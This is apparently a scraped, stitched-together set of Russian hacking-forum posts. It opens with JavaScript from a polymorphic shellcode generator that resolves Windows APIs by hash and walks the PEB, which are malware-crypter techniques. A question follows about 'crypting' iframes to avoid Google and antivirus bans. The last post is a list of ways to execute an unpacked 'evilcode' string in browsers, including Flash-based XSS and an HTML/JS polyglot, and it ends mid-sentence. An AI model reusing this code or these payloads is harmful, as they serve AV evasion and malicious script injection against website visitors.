toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
//
oTableType = {
'm32': function (p, ee) {return(toMem(p, MEM32));},
'm16': function (p, ee) {return(toMem(p, MEM16));},
'm8': function (p, ee) {return(toMem(p, MEM8));},
'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
'c8': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
};
return(_.has(oTableType,t)?oTableType[t](v,this):null);
},
cmd : function(name, params) {
var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]);
if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
getFreeReg: function(f) {
return(this.toType('r32', this.regs.getFreeIndex(f)));}};
module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
tablecall.js файл
Code:Copy to clipboard
var pad = require('./modules/node-pad/lib/pad.js');
var _ = require('./modules/underscore/underscore.js');
var p = require('./platform.js');
function nameptrfnc(v) {
if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};
module.exports = nameptrfnc;
function namehandlelib(slib) {
if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};
module.exports = namehandlelib;
function namestrzlib(slib) {
if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};
module.exports = namestrzlib;
function genAPIStruct(ta) {
return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};
module.exports.genAPIStruct = genAPIStruct;
toHex = function(x) {
return('0x'+x.toString(16));};
CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
var ee = new p.ExecutionEnvironment(name, callconv, params);
fSnippet(ee, ee.regs, ee.vars, prmz);
ee.finalize();
return({e : ee, code: ee.code, buffer: null});};
module.exports.CodeSnippet = CodeSnippet;
var fHashRor7Xor = function (e, r, v) {
var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['strz', r2.i]);
e.cmd('load_c32$r32', [0, r1.i]);
e.emit(['push',''+r1.s]);
e.emit('.CalcHash:\n');
e.emit(['ror', r1.s, 7]);
e.emit(['xor','[esp]', r1.s]);
e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s, 'Byte ['+r2.s+']']);
e.cmd('inc_r32', [r2.i]);
e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
e.emit(['jnz','.CalcHash']);
e.emit(['pop','eax']);
e.setUseForResult(p.REG_EAX);};
var fGetNtdll = function (e, r, v) {
var r1, r2, r3, r4;
r1 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
r1.o.unlock();
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
r2.o.unlock();
r3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
r3.o.unlock();
e.setUseForResult(r3.s+'+0x8');};
var fGetK32 = function (e, r, v){
var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
e.vars.add('iResult');
reg1 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
reg1.o.unlock();
reg2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
reg2.o.unlock();
reg3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
e.emit('.NextModule:\n');
e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
reg4 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
e.cmd('load_m32$r32', [reg3.s, reg3.i]);
reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
e.cmd('checkz_r32', [reg5.i]);
e.emit(['jne', '.NextModule']);
e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s, toHex(c[1]), ';', 'jne', '.NextModule']);
e.emit('.Found_K32:\n');
e.setUseForResult('iResult');};
function genData(e, buff, memdest) {
var i = 0, r = e.getFreeReg(LOCK_REG);
e.emit(['lea', r.s, '['+memdest+']']);
while( i < buff.length){
if ((buff.length - i - 1) > 4) {
e.cmd('load_c32$m32', [p.BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
} else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff[i])]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};
module.exports.genData = genData;
function fAltGetProcAddress (e, r, v){
var r1;
e.vars.add('iResult');
r1 = e.getFreeReg(p.LOCK_REG);
eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
e.cmd('check_c16$m16', [0x5a4d, r1.s]);
e.emit(['jne', '.End']);
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
e.cmd('add_r32$r32', [r1.i, r2.i]);
e.cmd('check_c32$m32', [0x4550, r2.s]);
e.emit(['jne', '.End']);
r3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
r2.o.unlock();
e.cmd('add_r32$r32', [r1.i, r3.i]);
r4 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
r5 = e.getFreeReg(p.LOCK_REG);
e.emit(['push', r3.s]);
e.cmd('loadz_r32', [r5.i]);
r6 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);
r3.o.unlock();
e.cmd('add_r32$r32', [r1.i, r6.i]);
e.emit('.MainLoop:\n');
r7 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r6.s, r7.i]);
e.cmd('add_r32$r32', [r1.i, r7.i]);
e.emit(['push', 'eax']);
e.emit(['stdcall', '[fHashProc]', r7.s]);
e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
e.emit(['pop', 'eax']);
e.emit(['jz', '.FoundProcname']);
eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
e.cmd('checkz_r32', [r4.i]);
e.emit(['jnz', '.MainLoop']);
e.emit(['pop', e.getFreeReg().s]);
e.emit(['jmp', '.End']);
e.emit('.FoundProcname:\n');
r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
r8 = e.getFreeReg(p.LOCK_REG);
e.emit(['pop', r8.s]);
eval("e.emit(['shl', r5.s, 0x1])");
e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
r9 = e.getFreeReg(p.LOCK_REG);
e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);",
"e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r9.s, r10.i]);
e.cmd('add_r32$r32', [r1.i, r10.i]);
e.cmd('load_r32$m32', [r10.i, 'iResult']);
e.emit('.End:\n');
};
function tableApiUnique (ta) {
return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};
function tableApiHasLib(ta, sDll) {
return (_.size(_.where(ta, {lib:sDll})) > 0);};
function tableApiHasUserLibs(ta){
return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};
function tableApiGetUserLibs(ta) {
return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};
var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);
function _rotr (value, shift) {
if ((shift &= 31) == 0) return value;
return ((value >>> shift) | (value << (32 - shift)));};
function hash_ror7xor(b){
var r = 0, x = 0;
for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b[i]>>>0; };
return( (r^=_rotr(x, 7))>>>0);};
function followApiTable(e, ta){
var bufflib, r = e.regs, v = e.vars;
reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]);
reg_addr.o.lock();
if (tableApiHasUserLibs(ta)) {
ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
ta = tableApiUnique(ta);
v.add('pGetHashSz');
e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
if (tableApiHasLib(ta, 'kernel32.dll')) {
e.vars.add(namehandlelib('kernel32.dll'));
e.emit(['call', 'GetK32']);
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
if (tableApiHasLib(ta, 'ntdll.dll')) {
e.vars.add(namehandlelib('ntdll.dll'));
e.emit(['call', 'GetNtdll']);
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
e.vars.add('APITable',_.size(ta)*4);
_.each(tableApiGetUserLibs(ta), function(lib) {
e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
var s, bufflib, ro;
s = namestrzlib(lib);
bufflib = new Buffer(lib+'\0', 'utf-8');
v.add(s, _.size(bufflib));
genData(e, bufflib, s);
v.add(namehandlelib(lib));
ro = e.getFreeReg(p.LOCK_REG);
e.emit(['lea', ro.s, '['+s+']'])
e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
}, this);
_.each(ta, function(value) {
if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
}, this);
reg_addr.o.unlock();
return(genAPIStruct(ta));};
module.exports.followApiTable = followApiTable;
module.exports.procz = [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];
Уважаемые форумчане, собственно назрел такой вопрос, спасет ли крипт ифрейма
от бана домена гуглем и(или) АВ?
Если нет, то к чему вообще его криптуют?
P.S. не судите строго если ошибся разделом, вроде как к криптографии относится сабж.
Это обобщенная заметка, попытка собрать все вместе.
Итак.
наш evilcode = 'alert(/damagelab/)';
Подразумевается, что это строка, собранная анпакером, и нам нужно ее исполнить
в браузере.
Варианты следующие:
Code:Copy to clipboard
eval(evilcode)
Code:Copy to clipboard
setTimeout(evilcode,0)
Code:Copy to clipboard
clearInterval(setInterval(evilcode,0))
Code:Copy to clipboard
a=eval;a(evilcode)
Code:Copy to clipboard
location.href='javascript:'+evilcode
*ограничение - максимальная длинна url.
Code:Copy to clipboard
document.write('<script>'+evilcode+'</script>')
Code:Copy to clipboard
document.write('<img src=x onerror="'+evilcode+'">')
Code:Copy to clipboard
[evilcode].map(eval)
*не работает в ие<9
Code:Copy to clipboard
[]["filter"]["constructor"](evilcode)()
*не работает в ие<9
Code:Copy to clipboard
Function(evilcode)()
- сокращенный вариант примера от neko.
Инжект флешем:
html:
Code:Copy to clipboard
<embed src="evil.swf" type="application/flash" />
код флешки:
Code:Copy to clipboard
class XSS {public static function main() {
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(/damagelab/)"),flash.Lib._root.name||"_top");
}}
*пример, в общем-то, сперт от сюда: http://html5sec.org/#79
В хроме он не работает, т.к. флешь там особенный, и ему это запрещено.
И на последок, html-js-перевертыш от меня.
Code:Copy to clipboard
/*<script src="#"></script><!-- */
/* now write any js below */
alert(/works fine/);
/* -->
<h1>normal html goes here</h1>
<!--*/
В данном случае, весь js содержится за пределами